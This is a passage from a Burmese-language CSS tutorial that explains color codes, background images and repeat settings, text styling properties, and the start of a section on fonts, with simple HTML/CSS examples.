<span class=”italic”>This text is italic</span>
အဲဒါကုိ CSS မွာ ဒီလိုေရးရပါတယ္။
.italic {font-style: italic;}
CSS Background
Web page တစ္ခုရဲ႕ background ကုိ အေရာင္ သို႕ မဟုတ္ ပံုနဲ႕ ထည့္သြင္းျခင္းကုိ ဒီေနရာမွာေလ့က်င့္မွာပါ။
Web page ရဲ႕ background color ကုိ မထည့္ခင္ color ရဲ႕ ေရးတတ္ပံုေတြကုိ ေဆြးေႏြးပါ့မယ္။ color ကုိအေရာင္နဲ႕
ေဖာ္ျပျခင္း color: green; အေရာင္ကုတ္နဲ႕ ေဖာ္ျပျခင္း color: #ffffff; နဲ႕ အေျခခံအေရာင္ သံုးေရာင္စပ္ထားျခင္းျဖင္း
color: rgb(106,251,146); ဆိုၿပီးရွိပါတယ္။
ဒီေနရာမွာ color: rgb(106,251,146); မွာ rgb ဆိုတာက red, green, blue ကို ဆိုလိုျခင္းျဖစ္ပါတယ္။ (106,251,146)
ဆိုတာက အေရာင္သုံးေရာင္ေပါင္းစပ္ထားျခင္းပါ။ သူ႔ အေရာင္တစ္ခုျခင္းစီအတြက္ limit ကေတာ့ 0-255 ျဖစ္ပါတယ္။ 0
ကေတာ့ ၄င္းအေရာင္ရဲ႕ light အျဖစ္ဆုံးအဆင့္ပါ။ 255 ကေတာ့ dark အျဖစ္ဆုံးပါ။ ဥပမာ
အျပာေရာင္တစ္ေရာင္ပဲလိုခ်င္တယ္ဆိုရင္ color: rgb(0,0,255); လို႔ေရးလို႔ရပါတယ္။ ေနာက္တစ္ခုက အေရာင္ကုတ္ဖြဲ႕
စည္းမႈ ။ ာ။ အေရာင္ကုဒ္ေတြမွာဆိုရင္ # ေနာက္မွာ ဂဏန္း၆လုံးကို ေတြ႔ရပါလိမ့္မယ္။ အဲဒီဂဏန္း ၆ လုံးက
hexadeicmal code ေတြျဖစ္ျပီးေတာ့ ၂ လုံးတစ္တြဲယူရပါတယ္။ ဂဏန္း၂ လုံးက အေျခခံအေရာင္ ၁ ေရာင္ကို
ကိုယ္စားျပဳပါတယ္။ red, green, blue ျဖစ္တဲ့အတြက္ အေရာင္ကိုေဖာ္ျပတဲ့ ဂဏန္း ၆လုံးရွိျခင္းျဖစ္ပါတယ္။ သူ႔ format
ကေတာ့ # rrggbb ေပါ့ဗ်ာ။ အဲဒီမွာ သုံးတဲ့ အေရာင္ကုဒ္ရဲ႕ ရည္ညြန္းမႈကေတာ့ ...
FF သည္ full brightness
CC သည္ 80 % brightness
99 သည္ 60 % brightness
66 သည္ 40 % brightness
33 သည္ 20 % brightness
www.phoelapyae.com 19
19 ရာမညဖိုးလျပည့္
00 ကေတာ့ သူနဲ႔ဆိုင္တဲ့ အေရာင္မပါ၀င္ေႀကာင္းကို ေဖာ္ျပျခင္းျဖစ္ပါတယ္။
ဥပမာ..bright red သည္ #FF0000 ၊ dark blue သည္ #000033၊ medium-gray ကေတာ့ #999999 ျဖစ္ပါတယ္။
ဒါကေတာ့ သိရံုသက္သက္ပါပဲ ။ ထပ္ေျပာရင္ ရႈပ္သြားပါလိမ့္မယ္။ ဒီေတာ့ ကြ်န္ေတာ္တို႕ နမူနာ web page
တစ္ခုေရးၾကည့္လုိက္လုိက္ရင္ ပိုရွင္းမယ္ထင္ပါတယ္။ ေရးရေအာင္ ….
<html>
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body {background-color: yellow;}
h1 {background-color: #00ff00;}
h2 {background-color: red;}
p {background-color: rgb(250,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
<h2>
This is a level 2 header
</h2>
www.phoelapyae.com 20
20 ရာမညဖိုးလျပည့္
<p>
This is a paragraph
</p>
</body>
</html>
How to set an image as the background
ဒီတစ္ခါ မိမိရဲ႕ web page မွာ ေနာက္ခံအေရာင္ကုိအသံုးမျပဳပဲ ဓါတ္ပံုတစ္ခုခုကို အသံုးျပဳမဲ့နည္းလမ္းပါ ။
အဲလိုထည့္ခ်င္ရင္ ဒီလိုေလးေရး၇ပါတယ္။
body {background-image: url(‘image address’)}
image address ေနရာမွာ မိမိထည့္မဲ့ image ရဲ႕ link ကုိယူရပါမယ္။ နမူနာတစ္ခုေရးရေအာင္ …
မေရးခင္ ဒီပံုေလးကို အရင္ save ထားလိုက္ပါ။ ရွင္းျပတာ တသမတ္တည္းျဖစ္ေအာင္လို႕ ပါ။
DOWNLOAD PHOTO
http://yamanya.mlm.googlepages.com/yamanya.jpg
www.phoelapyae.com 21
21 ရာမညဖိုးလျပည့္
yamanya.jpg နဲ႕ save ထားလိုက္ပါ။ ကဲ .. စေရးၿပီး ..
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg')
}
</style>
</head>
<body>
</body>
</html>
အဲဒီကုတ္ကုိ html file အေနနဲ႕ save ၿပီး ေစာေစာက ပံု yamanya.jpg ပံုနဲ႕ ဖိုဒါတစ္ခုအတြင္းထားၿပီး html tile
ကုိဖြင့္လိုက္ပါ။ဒီလိုေလးပါ…
www.phoelapyae.com 22
22 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ ဘာကုိသတိထားမိက်သလဲ ။ ရာမညဖိုးလျပည့္ဆိုတဲ့ ပံု ထပ္ခါထပ္ခါ repeat ျဖစ္ေနတာ ေတြ႕ ရပါမယ္။
ဒီေတာ့ body {background-image: url(‘yamanya.jpg’)} နဲ႕ body {background-image: url(‘yamanya.jpg’);
background-repeat: repeat} နဲ႕ တူပါတယ္။ ဒိေနရာမွာ repeat ပါလာပါၿပီး။တယ္။background-repeat:repeat
ဆိုတာကေတာ့
မိမိေနာက္ခံဓါတ္ပုံကိုဘယ္လိုပုံစံေဖာ္ျပမလဲဆိုတာကို သတ္မွတ္ျခင္းျဖစ္ပါတယ္။အဒဲ ီလိုေဖာ္ျပဖို႔အတြက္ backgroundrepeat:
attribute မွာသတ္မွတ္ခ်က္style ေလးခုရွိပါတယ္။ repeat, repeat-x,repeat-y , no-repeat တုိ႔ျဖစ္ပါတယ္။
repeat ကေတာ့ မိမိဓါတ္ပုံကို webpage မွာ tile ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။tile ပုံစံ ဆိုတာကေတာ့
မိမိရဲ႕ webpage တစ္ခုလုံးမွာ ေနာက္ခံဓါတ္ပုံကိုနဂုိမူလအတိုင္းတစ္ခုႏွင့္တစ္ခုဆက္စပ္ျပီး
အျပည့္ေပၚေစျခင္းျဖစ္ပါတယ္။ ဥပမာအေနနဲ႔ျပရရင္ computer desktop ရဲ႕ ေနာက္ခံပုံတင္တဲ့အခါမွာ user
ကိုေရြးခ်ယ္ခြင့္ သုံးမ်ိဳးေပးထားပါတယ္။tile, center, stretch ဆိုျပီးသုံးမ်ိဳးရွိတဲ့အနက္ tile
ကမိမိဓါတ္ပုံအရြယ္အစားေသးေနတဲ့အခါ တစ္ပုံနဲ႔တစ္ပုံဆက္စပ္ျပီး အျပည့္ေဖာ္ျပတာပါ။center ဆိုတာကေတာ့
မိမိဓါတ္ပုံကို အလယ္မွာနဂိုအရြယ္အစားအတိုင္း တစ္ပုံတည္းေဖာ္ျပတာျဖစ္ပါတယ္။stretch ကေတာ့ ဓါတ္ပုံရဲ႕
resolution ကို screen တစ္ျပင္လုံးအျပည့္ခ်ဲ႔ျပီးေဖာ္ျပတာပါ။ဒီေနရာမွာေတာ့ tile
ပုံစံေဖာ္ျပျခင္းပဲအသုံးျပဳမွာျဖစ္ပါတယ္။repeat-x ကေတာ့ ေနာက္ခံပုံကို
အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး ေအာက္တစ္ျခမ္းကေတာ့
ပုံပါမွာမဟုတ္ပါဘူး။repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y
www.phoelapyae.com 23
23 ရာမညဖိုးလျပည့္
ဆိုတာက computer screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical
ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
ကဲ .. နမူနာေရးၾကည့္တာက ပုိ၇ွင္းပါတယ္ .. ၾကည့္ရေအာင္ ။
How to repeat a background image
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 24
24 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေပၚမွာ ေဆြးေႏြးၿပီးျဖစ္တဲ့အတိုင္း repeat က မိမိဓါတ္ပုံကို webpage မွာ tile
ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။
How to repeat a background image only horizontally
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-x
www.phoelapyae.com 25
25 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
</body>
</html>
repeat-x ကေတာ့ ေနာက္ခံပုံကို အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး
ေအာက္တစ္ျခမ္းကေတာ့ ပုံပါမွာမဟုတ္ပါဘူး။
www.phoelapyae.com 26
26 ရာမညဖိုးလျပည့္
How to repeat a background image only vertically
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-y
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 27
27 ရာမညဖိုးလျပည့္
repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y ဆိုတာက computer
screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
How to display a background image only one time
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
www.phoelapyae.com 28
28 ရာမညဖိုးလျပည့္
background-repeat: no-repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 29
29 ရာမညဖိုးလျပည့္
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
အခုဆုိရင္ background နဲ႕ ပက္သက္ၿပီး background-color, background-image, background-repeat တို႕
ကုိေကာင္းေကာင္းသေဘာေပါက္ေလာက္ၿပီးထင္ပါတယ္။ ေနာက္ထပ္ background အေနနဲ႕ က်န္တာက backgroundattachement
နဲ႕ background-position တို႕ ပဲ ျဖစ္ပါတယ္။
How to position a background image
ေနာက္ခံဓါတ္ပံုကို ေနရာခ်ရမွာ ေအာက္ပါအတိုင္းေရးေလ့ရွိပါတယ္။
body
{
background-position: top left;
top center;
top right;
center left;
center center;
center right;
bottom left;
bottom center;
bottom right;
x% y%
xpos ypos;
background-attachement: scroll;
fixed;
}
ဒီေနရာမွာ backgroun-position နဲ႕ ပက္သက္ၿပီး နမူနာ ကိုယ့္ဘာသာကိုယ္ေရးၾကည့္ပါ ။ ေရးျပေနရင္ စာမ်က္နွာ
ေဖာင္းပြသြားမွာပါ။ top left ဆို အေပၚဆံုးရဲ႕ ဘယ္ဘက္အစြန္ဆံုးေပါ့ ။ တစ္ခုပဲ ရွိတယ္ % နဲ႕ px ။ သူတို႕ကုိ
ဒီလိုေရးပါတယ္ ။
www.phoelapyae.com 30
30 ရာမညဖိုးလျပည့္
background-position: 30% 20%;
50px 100px;
အဲလိုေရးေလ့ရွိပါတယ္။ ဒီေနရာမွာ အတိုင္းအတာေတြကို center ကေနစယူတာၿပိးအရင္ အရင္ဆံုးက x ၀င္ရုိးျဖစ္ၿပီး
ေနာက္ဆံုးက y ၀င္ရုိးကိုျဖစ္ပါတယ္။ မိမိဘာသာနမူနာေရးၾကည့္ရင္ သေဘာေပါက္သြားပါလိမ့္မယ္။
CSS Text
အခုဆက္လက္ၿပီး Text အပိုင္းဆက္လက္ေလ့လာက်မယ္ …text အပိုင္းမွာ အေရာင္တို႕ ၊ စာလံုးတစ္လံုးနဲ႕ တစ္လံုး
အကြာအေ၀း စသျဖင့္ text နဲ႕ ဆိုင္တာေတြ အားလံုးကိုေဆြးေႏြးပါ့မယ္။ ရွင္းလင္းေအာင္ နမူေလးေတြနဲ႕ ျပမွ
မ်က္စိထဲျမင္မွာျဖစ္ပါတယ္။ တစ္ခုခ်င္းအေသးစိတ္ေလ့လာရေအာင္ …..
How to set the color of text
Web page ေတြမွာ စာသားေတြကုိ မိမိထည့္ခ်င္တဲ့ အေရာင္ထည့္ရေအာင္ …နမူနာၾကည့္တာ ပုိရွင္းပါတယ္..
<html>
<head><title>this is the title of the web page</title>
<style type="text/css">
h1 {color: #00ff00;}
h3 {color: #dda0dd;}
p {color: rgb(0,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
www.phoelapyae.com 31
31 ရာမညဖိုးလျပည့္
<h3>
This is a level 3 header
</h3>
<p>
This is a paragraph
</p>
</body>
</html>
ဒီေနရာမွာ color တန္ဖိုးေတြျဖစ္တဲ့
color: green;
color: #ffffff;
color: rgb(0,0,255);
တို႕ ကုိ ကြ်န္ေတာ္ရွင္းျပၿပီးသားပါ ။ decimal ျဖစ္တဲ့ color: #ffffff မ်ိဳးကို ေအာက္ပါဆိုက္မွာ ကုတ္ေတြကုိ
ရွာနိုင္ပါတယ္။
Text Background Color
Webpage ေတြရဲ႕ စာသားအခ်ိဳ႕ ကုိ ကြ်န္ေတာ္တို႕ High Light အေနနဲ႕ လုပ္ခ်င္ရင္ ဒီလိုလုပ္လို႕ ရပါတယ္…
www.phoelapyae.com 32
32 ရာမညဖိုးလျပည့္
နမူနာၾကည့္လုိက္ပါ။
<html>
<head>
<style type="text/css">
body {background-color: black; color: red;}
p {text-align: center}
span.highlight
{
background-color:yellow
}
</style>
</head>
<body>
<p>
<span class="highlight">I Will Love You Forever</span><br><br>
I love you so deeply,<br>
I love you so much,<br>
I love the sound of your voice<br>
And the way that we touch.<br>
I love your warm smile<br>
And your kind, thoughtful way,<br>
www.phoelapyae.com 33
33 ရာမညဖိုးလျပည့္
The joy that you bring<br>
To my life every day.<br>
I love you today<br>
As I have from the start,<br>
<span class="highlight">And I'll love you forever<br>
With all of my heart.</span>
</p>
</body>
</html>
ဒီေနရာမွာ span.highlight ဆိုတဲ့ span class ကုိသံုးထားတာေတြ႕ ရပါမယ္။ အဲဒီ span ကုိလဲ အရင္ပို႕ စ္ေတြမွာ
ရွင္းျပၿပီးသားျဖစ္လို႕ ထပ္မရွင္းေတာ့ပါဘူး။ နားလည္မယ္လို႕ ထင္ပါတယ္။
www.phoelapyae.com 34
34 ရာမညဖိုးလျပည့္
Specify the space between characters
စာလံုးအစိပ္အက်ဲကုိ ဆက္ေလ့လာရေအာင္ ….. ဒီလိုေရးပါတယ္။
<style type=”text/css”>
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
ဒီေနရာမွာ letter-spacing ရဲ႕ တန္ဖိုးကုိ px , cm တို႕ နဲ႕ ျပတာကုိေတြ႕ ရပါမယ္။ အဲဒီတန္ဖိုးေတြ သတ္မွတ္ခ်က္ကုိ
ေနာက္ပုိင္းေဆြးေႏြးမဲ့ font အပိုင္းမွာ ေဆြးေႏြးေပးပါ့မယ္။ကဲ .. နမူနာတစ္ခုေရးၾကည့္ရေအာင္ ….
<html>
<head>
<style type="text/css">
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h4>This is header 4</h4>
</body>
</html>
www.phoelapyae.com 35
35 ရာမညဖိုးလျပည့္
Specify the space between lines
စာလံုးအစိပ္အက်ဲၿပီးေတာ့ ဒီတစ္ခါ စာေၾကာင္းအစိပ္အက်ဲကုိ ေဆြးေႏြးပါ့မယ္ …သူ႕ကုိေရးေတာ့ ဒီလိုေလးပါ …
<style type=”text/css>
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
ဘယ္လိုသက္ေရာက္မႈ ရွိသလဲဆိုတာ ေအာက္မွာ စာပုဒ္သံုးပုဒ္နဲ႕ ရွင္းျပပါ့မယ္ …. ၾကည့္ရေအာင္ ..
<html>
<head>
<style type="text/css">
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
</head>
www.phoelapyae.com 36
36 ရာမညဖိုးလျပည့္
<body>
<p>
This is a paragraph with a standard line-height.
The default line height in most browsers is about 110% to 120%.
This is a paragraph with a standard line-height.
This is a paragraph with a standard line-height.
</p>
<p class="small">
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
</p>
<p class="big">
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
</p>
</body>
</html>
www.phoelapyae.com 37
37 ရာမညဖိုးလျပည့္
ေရးထားတာကို ၾကည့္ရင္ ရွင္းပါတယ္ ။ တန္ဖိုးဘယ္ေလာက္သတ္မွတ္ရင္ ဘယ္ေလာက္ ကြာျခားသလဲဆိုတာ ….
Text Align
ဒါကေတာ့ ထပ္ခါထပ္ခါေရးၿပီးသားဆိုေတာ့ အထူးတလည္ရွင္းျပစရာေတာင္မလုိပါဘူး .. နမူနာေရးၾကည့္မယ္..
<html>
<head>
<style type="text/css">
h1 {text-align: center}
h2 {text-align: left}
h3 {text-align: right}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 38
38 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
</body>
</html>
Decorate the text
Decorate ဆိုတာ စာသားေတြကုိ မ်ဥ္းသားခ်င္တာမ်ိဳး .. လင့္ေတြကို ေအာက္မွာ မ်ဥ္းေၾကာင္းမထည့္ခ်င္တာမ်ိဳး..
မွိတ္တုတ္မွိတ္တုတ္ေပၚတာမ်ိဳး လုပ္ေဆာင္နိုင္ပါတယ္ …ဘယ္လိုေရးနုိင္သလဲ ဆိုတာ ၾကည့္ရေအာင္ …
<style type=”text/css”>
h1 {text-decoration: underline}
</style>
အဲလိုမ်ိဳး text-decoration နဲ႕ ေရးပါတယ္ … သူရဲ႕ တန္ဖိုးအားလံုးကေတာ့ ….
www.phoelapyae.com 39
39 ရာမညဖိုးလျပည့္
text-decoration: overline;
text-decoration: underline;
text-decoration: line-through;
text-decoration: blink;
text-decoration: none;
ဒါဟာ text-decoration နဲ႕ ေရးလုိ႕ ရတဲ့တန္ဖိုး အကုန္ပါပဲ ။ ဒီေနရာမွာ overline ဟာ စာသားေပၚမွာ
မ်ဥ္းသားတာျဖစ္ၿပီး underline က်ေတာ့ စာသားေအာက္က မ်ဥ္းသားတာပါ။ line-through ကေတာ့ စာသားကုိ မ်ဥ္းနဲ႕
ျဖတ္ထားတာပါ။ blink ကေတာ့ စာသားကုိ မွိတ္တုတ္မွိတ္တုတ္ေဖာ္ျပေပးပါတယ္ … none ကေတာ့ ဘာ effect မွမပါ
စာသားသက္သက္ပါ … သာမာန္ text ရဲ႕ default ကေတာ့ none ပါ။ ဒီေတာ့ မ်က္စိထင္ျမင္သြားေအာင္ ေအာက္က
ဥပမာေရးထားတာေလးကုိ ၾကည့္ၾကည့္လိုက္ပါ။
<html>
<head>
<style type="text/css">
h1 {text-decoration: underline}
h2 {text-decoration: overline}
h3 {text-decoration: line-through}
a {text-decoration: blink}
p {text-decoration: none; font-family: Zawgyi-one}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 40
40 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
<p><a
href="http://www.phoepyae.co.cc">ရာမညဖိုးလျပည့္ဘေလာ့မွ…</a><br><br>
လႈိုက္လွဲစြာ ၾကိဳဆိုပါ၏ ...</p>
</body>
</html>
ရာမညဖိုးလျပည့္ဘေလာ့မွ .. ဆိုတဲ့ စာသားက မွိတ္တုတ္မွိတ္တုတ္ျဖစ္ေနမွာပါ … ဒီေနရာမွာ ဓါတ္ပံုျဖစ္လို႕
ရုပ္ေသႀကီးျဖစ္ေနတာပါ ။
www.phoelapyae.com 41
41 ရာမညဖိုးလျပည့္
Indent Text
စာပုဒ္ေရးလို႕ ရွိရင္ ပထမစာေၾကာင္းကုိ မာဂ်င္ကေန ေနရာအနည္းငယ္ခ်န္ၿပီးေရးေလ့ရွိပါတယ္ .. ဒါမ်ိဳးဆိုရင္ indent
style နဲ႕ ေရးလို႕ ရပါတယ္ .. သူ႕ ရဲ႕ ေရးတဲ့ပံုစံေလးကေတာ့ ….
<style>
P {text-indent: 2cm}
</style>
သူ႕ ရဲ႕ properties ေတြက
text-indent: length;
%;
တို႕နဲ႕ ေဖာ္ျပေလ့ရွိပါတယ္ …..ဒီေနရာမွာ px , em , % တို႕ နဲ႕ ေဖာ္ျပနိုင္ပါတယ္ ….. သူတို႕ ရဲ႕ အတိုင္းအတာေတြကုိ 1
px မွာ em ဘယ္ေလာက္၊ % ဘယ္ေလာက္ ဆိုတာခန္႕ မွန္းလို႕ ရေအာင္ ေအာက္မွာ ေဖာ္ျပလုိက္ပါတယ္ .. ဒီေနရာမွာ
em -- > the ‘font-size’ of the relevant font
ex -- >the ‘x-height’ of the relevant font
px -- >pixels, relative to the viewing device
ျဖစ္ပါတယ္….. သူတို႕ ရဲ႕ အဓိပၸါယ္ဖြင့္ဆိုခ်က္ေတြကုိ ေအာက္ကလင့္မွာ အေသးစိတ္ေလ့လာနုိင္ပါတယ္ …
http://www.bigbaer.com/css_tutorials/css_font_size.htm
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
http://www.explainth.at/en/css/units.shtml
www.phoelapyae.com 42
42 ရာမညဖိုးလျပည့္
ဒါကေတာ့ em ,px , % . ex တို႕ ရဲ႕ နွိုဳင္းယွဥ္ခ်က္ေတြပါ …
www.phoelapyae.com 43
43 ရာမညဖိုးလျပည့္
ပုိရွင္းေအာင္ နမူနာတစ္ခုၾကည့္လုိက္ပါ …
<html>
<head>
<style type="text/css">
body {background-color: black; color: white;}
p {text-indent: 1cm; font-family: Zawgyi-one;}
</style>
</head>
<body>
<p>
ကြ်န္ေတာ္ကေတာ့ ရာမညဖိုးလျပည့္ပါ ။ ရာမညဆိုေတာ့ မြန္ကလား ? ဟုတ္ပါတယ္ ။ ကြ်န္ေတာ္ ေမာ္လၿမိဳင္ဇာတိပါ
။ကြ်န္ေတာ္ကေတာ့ 2005 မွာ BE ( Electronic ) နဲ႕ ေက်ာင္းၿပီးပါတယ္ ။ ေက်ာင္းၿပီးကတည္းက အီလက္ထရြန္းနဲ႕
အလွမ္းေ၀းေနတာပါ ။ ဟိုစပ္စပ္ သည္စပ္စပ္ အားႀကီး လုပ္တယ္ ။ တစ္ခုမွ ေကာင္းေကာင္းကန္းကန္း မသိဘူး ။
ေမြးရာပါ အားနည္းခ်က္တစ္ခုကေတာ့ ရုပ္ေခ်ာ၊ သေဘာေကာင္း ပါ။
</p>
</body>
</html>
www.phoelapyae.com 44
44 ရာမညဖိုးလျပည့္
Control the letters in a text
ဒါကေတာ့ စာလံုးေတြကုိ Uppercase , Lowercase , စာလံုးအႀကီး ေျပာင္းတာေတြလုပ္ရင္ text-transform ဆိုတဲ့ style
tag ကိုအသံုျပဳပါတယ္… ေရးပံုကေတာ့ ..
<style>
p.uppercase {text-transform: uppercase}
p.lowercase {text-transform: lowercase}
p.capitalize {text-transform: capitalize}
</style>
နမူနာကိုေတာ့ ေရးမျပေတာ့ပါဘူး … uppercase ဆို စာလံုးအႀကီးေပါ့ .. class selector ကရွင္းျပၿပီးသားပါ .. ဒါေၾကာင့္
p.uppercase ဆိုတာလဲ သေဘာေပါက္မယ္ထင္ပါတယ္ ....
www.phoelapyae.com 45
45 ရာမညဖိုးလျပည့္
Set the text direction of an element
ဒါကေတာ့ စာသားေတြကုိ ဘယ္ဘက္ကေနပဲစေရးခ်င္တာမ်ိဳး၊ ဒါမွမဟုတ္ ညာဘက္ကေနပဲ စေရးခ်င္တဲ့ေနရာမ်ိဳးမွာ
အသံုးျပဳပါတယ္…ေရးနည္းထံုးစံကေတာ့
<style>
div.one {direction: rtl}
div.two {direction: ltr}
</style>
အဲလိုပါ …. ဒီေနရာမွာ div class ကုိရွင္းျပစရာမလိုေတာ့ဘူးလို႕ ထင္ပါတယ္ .. မိမိကိုယ္တိုင္သာေရးၾကည့္လိုက္ပါ …
Word-spacing Property
ဒါကေတာ့ စာလံုးတစ္လံုးေနရာျခားခ်င္ရင္ အသံုးျပဳတာပါ …. ေရးတာကေတာ့ ဒီလိုေလးပါ ..
<html>
<head>
<style type="text/css">
p
{
word-spacing: 30px
}
</style>
</head>
<body>
<p>
This is some text. This is some text.
www.phoelapyae.com 46
46 ရာမညဖိုးလျပည့္
</p>
</body>
</html>
ဒါဟာဆိုရင္ စာပိုဒ္မွာရွိတဲ့ စာလံုးတစ္လံုးန႕ဲ တစ္လံုးကုိ 30px ျခားေပးမွာျဖစ္ပါတယ္ .. px ဆိုတာဘာဆိုလိုတာဆိုတာ
ကြ်န္ေတာ္အေပၚမွာ ရွင္းျပၿပီးသားပါ ….
White-space Property in Text
နမူနာတစ္ခု ၾကည့္လုိက္ပါ .. ျပန္ေျပာျပဖို႕ ေတာ္ေတာ္ခက္လိမ့္မယ္ ျဖစ္ေနလို႕ ပါ …
<html>
<head><title>white-space Demonstration</title>
<style type="text/css">
p.normal
{
white-space:normal;
}
p.pre
{
white-space:pre;
}
p.nowrap
{
www.phoelapyae.com 47
47 ရာမညဖိုးလျပည့္
white-space:nowrap;
}
</style>
</head>
<body>
<h1><p>white-space demonstration</p></h1>
<p class="normal">This is the normal value for the white-space property. This is
the normal value for the white-space property. This is the normal value for the
white-space property. This is the normal value for the white-space
property.</p><br/>
<p class="pre">This is the pre value for the white-space
property.</p><br/>
<p class="nowrap">This is the nowrap value for the white-space property. This
is the nowrap value for the white-space property. This is the nowrap value for
the white-space property. This is the nowrap value for the white-space
property.</p>
www.phoelapyae.com 48
48 ရာမညဖိုးလျပည့္
</body>
</html>
ဒီေနရာမွာ
p.normal {white-space: normal} ဆိုတာက စာသားေတြကုိ အဆံုးထိေရာက္ရင္ ေအာက္တစ္ေၾကာင္းကူးသြားတာပါ ။
wrap ဆိုတဲ့ အတုိင္း စာသားေတြကို ေဘာင္အတြင္းမွာထည့္သြင္းေဖာ္ျပတာပါ ..… သူကေတာ့ white-space တန္ဖိုးရဲ႕
default တန္ဖိုးပါပဲ … notepad မွာပါတဲ့ Word Wrap လိုေပါ့ …
p.nowrap {white-space: nowrap} ကေတာ့ nowrap ဆိုတဲ့အတုိင္း ေနာက္တစ္ေၾကာင္းမဆင္းမခ်င္း စာသားေတြက
ေဘာင္ေက်ာ္ၿပီးဆက္သြားေနမွာပဲ …. ေနာက္တစ္ေၾကာင္းဆင္းမွ <br> tag သံုးမွသာ ဆင္းမွာပါ …
p.pre {white-space: pre} ကေတာ့ HTML tag မွာပါတဲ့ <pre> နဲ႕ တူပါတယ္ .. သူက စာတစ္ေၾကာင္းနဲ႕
တစ္ေၾကာင္းကုိ ျခားေပးတာပါ …
CSS Font
အခုဆိုရင္ ကြ်န္ေတာ္ေဆြးေႏြးခဲ့တာဟာ
CSS ေရးထံုးေရးနည္း ၊
www.phoelapyae.com 49
49 ရာမညဖိုးလျပည့္
CSS ကုိ webpage မွာ apply လုပ္နည္း၊
ေနာက္ခံ အေရာင္၊ ပံုထည့္ျခင္း၊
စာသားေရးျခင္း အမ်ိဳးမ်ိဳး တို႕ ကို ေဆြးေႏြးၿပီး ျဖစ္ပါတယ္ …
အခုဆက္လက္ၿပီး Font အပိုင္းကို ဆက္လက္ေဆြးေႏြးပ့ါမယ္ ….
CSS Font မွာ စာလံုးဆိုက္ ၊ အေရာင္ ၊ စတိုင္ စသျဖင့္ မ်ားစြာေျပာင္းလဲနိုင္ပါတယ္ … သူ႕ ရဲ႕ property ေတြကေတာ့
font-style
font-family
font-size
font-size-adjust
font-stretch
font-variant
font-weight တို႕ ျဖစ္က်ပါတယ္ …
Font Color
ပထမဦးဆံုး ဖြန္႕ ကာလာကုိ အရင္ဆံုးလုပ္ၾကည့္ရေအာင္ ..
h4 {color: red}
h5 {color: #9000A1}
h6 {color: rgb(0,220,98)}
www.phoelapyae.com 50
50 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေထြအထူး ရွင္းျပစရာမလုိဘူးထင္ပါတယ္ …. အေရာင္ထည့္တာက ရွင္းျပၿပီးသားပါ ..
CSS font family
Web page ေတြကုိ မိမိစိတ္ႀကိဳက္ font ေတြနဲ႕ သတ္မွတ္ခ်င္ရင္ သံုးနုိင္ပါတယ္ …ေရးသားပံုကေတာ့ ..
font-family: Arial;
